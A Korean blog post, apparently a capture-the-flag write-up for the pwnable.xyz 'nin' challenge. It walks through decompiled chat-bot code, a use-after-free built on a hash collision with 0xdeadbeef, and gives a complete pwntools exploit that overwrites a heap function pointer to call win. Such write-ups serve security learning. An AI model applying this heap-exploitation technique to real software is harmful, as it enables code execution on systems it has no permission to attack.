tmxklab

[Pwnable.xyz] nin 본문

War Game/Pwnable.xyz

[Pwnable.xyz] nin

tmxk4221 2020. 9. 9. 22:31

1. 문제

nc svc.pwnable.xyz 30034

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main() -> do_chat()

void __noreturn do_chat()
{
  __int64 v0; // [rsp+0h] [rbp-120h]
  char *ptr; // [rsp+8h] [rbp-118h]
  char s; // [rsp+10h] [rbp-110h]
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = 0LL;
  while ( 1 )
  {
    memset(&s, 0, 0xFFuLL);
    printf("@you> ");
    read(0, &s, 0xFFuLL);
    ptr = strdup(&s);
    if ( !v0 )
      v0 = invite_reznor();
    (v0[1])(v0, &s);
    free(ptr);
  }
}
  • read(0, s, 0xff)
  • ptr = s (s문자열을 복사하여(이 때, strdup()에서 malloc함) 포인터를 반환)
  • if(!v0) 참이면 v0 = invite_rezonor()
  • (v0[1])(v0, &s)== v0→answer_me(v0, &s)
  • free(ptr)

 

3-2) invite_reznor()

_QWORD *invite_reznor()
{
  _QWORD *v1; // [rsp+8h] [rbp-8h]

  v1 = malloc(0x20uLL);
  *v1 = strdup("@trent");
  v1[1] = answer_me;
  puts("@trent has entered #ota_chat");
  return v1;
}
  • v1 = malloc(0x20)
  • v1[0] ="@trent" // v1[1] = answer_me()

 

3-3) answer_me()

unsigned __int64 __fastcall answer_me(void **a1, const char *a2)
{
  size_t nbytes; // [rsp+1Ch] [rbp-24h]
  __int64 v4; // [rsp+28h] [rbp-18h]
  char *v5; // [rsp+30h] [rbp-10h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( !strcmp(a2, "/gift\n")
    && (LODWORD(nbytes) = 0,
        puts("Oh you wanna bribe him?"),
        printf("Ok, how expensive will your gift be: "),
        __isoc99_scanf("%ud", &nbytes),
        nbytes) )
  {
    *(&nbytes + 4) = malloc((nbytes + 1));
    memset(*(&nbytes + 4), 0, (nbytes + 1));
    printf("Enter your gift: ");
    read(0, *(&nbytes + 4), nbytes);
    v4 = hash_gift(*(&nbytes + 4), nbytes);
    printf("Trent doesn't look impressed and swallows %p\n", v4);
    if ( v4 == 0xDEADBEEFLL )
    {
      puts("The color of his head turns blue...");
      puts("Trent Reznor flips the table and raqequits...");
      puts("@trent has left #ota_chat (Client disconnected...)");
      free(*a1);
      free(a1);
    }
    else
    {
      printf("Didn't seem to be tasty...\n", v4);
    }
  }
  else
  {
    v5 = (&answers)[rand() % 10];
    printf("@trent> %s\n", v5);
  }
  return __readfsqword(0x28u) ^ v6;
}
  • 첫 번째 if문에서 a2가 "/gift\n"과 동일하고 scanf()를 통해서 nbytes에 값을 입력받으면 if문안의 로직이 실행된다.
  • *(nbytes + 4) = malloc(nbytes + 1)
  • *read(0, (&nbytes + 4), nbytes)
  • *if ( (v4 = hash_gift((&nbytes + 4), bytes)) == 0xDEADBEEF)가 참이면 free(a1), free(a1)을 수행

 

3-4) hash_gift()

__int64 __fastcall hash_gift(__int64 a1, int a2)
{
  int i; // [rsp+14h] [rbp-18h]
  int j; // [rsp+18h] [rbp-14h]
  __int64 v5; // [rsp+1Ch] [rbp-10h]
  __int64 v6; // [rsp+24h] [rbp-8h]

  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; i < a2 / 2; ++i )
    v5 += *(i + a1);
  for ( j = a2 / 2; j < a2; ++j )
    v6 += *(j + a1);
  return v6 | (v5 << 16);
}
  • v5 = s[0] ~ s[len/2]를 전부 더함
  • v6 = s[len/2] ~ s[len]를 전부 더함
  • v5를 16bit shift연산하고 (왼쪽으로) v6와 or연산함

ex) "AAAA"

v5 = 0x41 + 0x41, v6 = 0x41 + 0x41 → v5 = 0x82, v6 = 0x82

v5 = 0x82(1000 0010) → shift연산후 → v5 = 0x82000(1000 0010 0000 0000 0000)

v6 or v5 연산 후 → 0x82082

 


2. 접근방법

일단, do_chat()에서 "(v0[1])(v0, &s)"을 실행시키는 부분을 확인하기 전에 청크의 구조부터 살펴보자

 

1) 청크 구조 확인

  • 0x603030 (size : 0x30, static) → answer_info
  • answer_info[0] = 0x603060(size : 0x20, static) → "@trent"
  • answer_info[1] = 0x400d58(answer_me())
  • ptr[rbp-0x118] =0x603010 (size : 0x20, static) → "AAAA\n"
    • strdup()를 통해 생성된 청크

  • 이후에 (v0[1])(v0, &s)부분의 호출하는데 방금 생성한 answer_info[1]에 담겨진 answer_me함수를 호출한다.
  • 파라미터는 answer_info[0]에 저장된 "@trent"와 입력 값 "/gift\n"

 

2) answer_info→answer_me() 실행 이후

  • answer_me함수의 로직에 따라 malloc을 한 번 더 실행하여 청크를 새로 생성한다. → answer_info[0]에 "/gift\n"가 들어가야 수행됨
  • (nbytes+4) =0x603070 (size : 0x20, dynamic) → "BBBB\n"
  • 해당 청크를 제외한 나머지는 할당 크기가 고정되어 있다.
    v4 = hash_gift(*(&nbytes + 4), nbytes);
    printf("Trent doesn't look impressed and swallows %p\n", v4);
    if ( v4 == 0xDEADBEEFLL )
    {
      puts("The color of his head turns blue...");
      puts("Trent Reznor flips the table and raqequits...");
      puts("@trent has left #ota_chat (Client disconnected...)");
      free(*a1);
      free(a1);
    }
    else
    {
      printf("Didn't seem to be tasty...\n", v4);
    }
  • 이후에 hash_gift함수를 호출하여 v4의 값이 0xDEADBEEF와 동일하면 free(*a1)과 free(a1)을 진행한다.
  • a1은 answer_me함수의 파라미터인 answer_info청크의 주소

 

만약에, hash_gift함수를 거쳐 v4의 값이 0xDEADBEEF와 동일하여 free하게 된다면

  • answer_info청크의 주소와 strdup로 인해 생긴 0x603050주소의 청크가 fastbin에 들어가게 된다.
  • fastbin은 single linked list구조로 fd만 존재하고 bk는 존재하지 않는다.
  • free된 answer_info청크(0x603020)를 잘 보면 answer_info[1]에 answer_me함수의 주소 값이 존재하는 것을 확인할 수 있다.

 

여기까지면 분석은 끝났다.

목표는 do_chat()에서 answer_info청크에 존재하는 answer_me함수를 호출하는 대신에 win함수를 호출해야 한다.

win함수로 교체하기 위해서 uaf를 이용하여 free된 answer_info청크를 answer_me함수에서 동적으로 할당받는 (nbytes+4)에서 재할당하면 된다.

(answer_info청크의 사이즈는 0x30)

 

 

3) hash_gift()

문제는 이제 hash_gift()의 파라미터로 들어가는 값을 잘 조절하여 0xdeadbeef로 만들어야 한다. 근데 아까 위에서 hash_gift()함수 동작원리를 알았으니 어떻게 조합할지 생각해보자!

 

일단 문자열의 반을 나누고 각 문자의 헥사 값을 더한 다음에 shift연산 + or연산을 한다. 그럼 0xdeadbeef를 먼저 반으로 나눠 보자

0xdead = 0xff * 0xdf(223) +0x8c(1) → 문자 개수 : 223 + 1 = 224

0xbeef = 0xdf * 0xdb(219) + 0xa*4(4) + 0x2(1) → 문자 개수 : 219 + 4 + 1 = 224

 

-> 정확히 짝수로 만들어서 반으로 만들 수 있당.

 

 

공격 프로세스)

  • answer_info청크를 생성한다. 이 때, answer_info[0]에는 "/gift\n"문자열을 넣는다.
  • answer_info→answer_me를 호출할 때 아까 위에서 했던 것처럼 0xdeadbeef와 동일하게 만들어서 answer_info청크를 free한다.
  • 다시 answer_info청크를 생성하는데 이때, free된 answer_info청크를 재할당할 수 있게 size를 0x20만큼 주고 answer_info[1]에 위치한 answer_me함수 대신에 win함수를 넣는다.

 


3. 풀이

 

1) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./challenge")
e = ELF("./challenge")
p = remote("svc.pwnable.xyz", 30034)
#gdb.attach(p)

dead = '\xff'*0xdf + '\x8c'
beef = '\xdf'*0xdb + '\x0a'*4 + '\x02'
deadbeef = dead + beef
win_addr = e.symbols['win']

log.info("dead length     : "+str(len(dead)))
log.info("beef length     : "+str(len(beef)))
log.info("deadbeef length : "+str(len(deadbeef)))

# 1. free
p.sendlineafter("you> ", "/gift")
p.sendlineafter("be: ", str(len(deadbeef)))
p.sendafter("gift: ", deadbeef)

# 2. uaf & v0[1] -> win
p.sendlineafter("you> ", "/gift")
p.sendlineafter("be: ", str(0x20))
p.sendafter("gift: ", "A"*8 + p64(win_addr))

p.sendlineafter("you> ", "/gift")

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] words  (0) 2020.09.09
[Pwnable.xyz] notebook  (0) 2020.09.09
[Pwnable.xyz] Dirty Turtle  (0) 2020.09.09
[Pwnable.xyz] Hero Factory  (0) 2020.09.09
[Pwnable.xyz] note v2  (0) 2020.09.09
Comments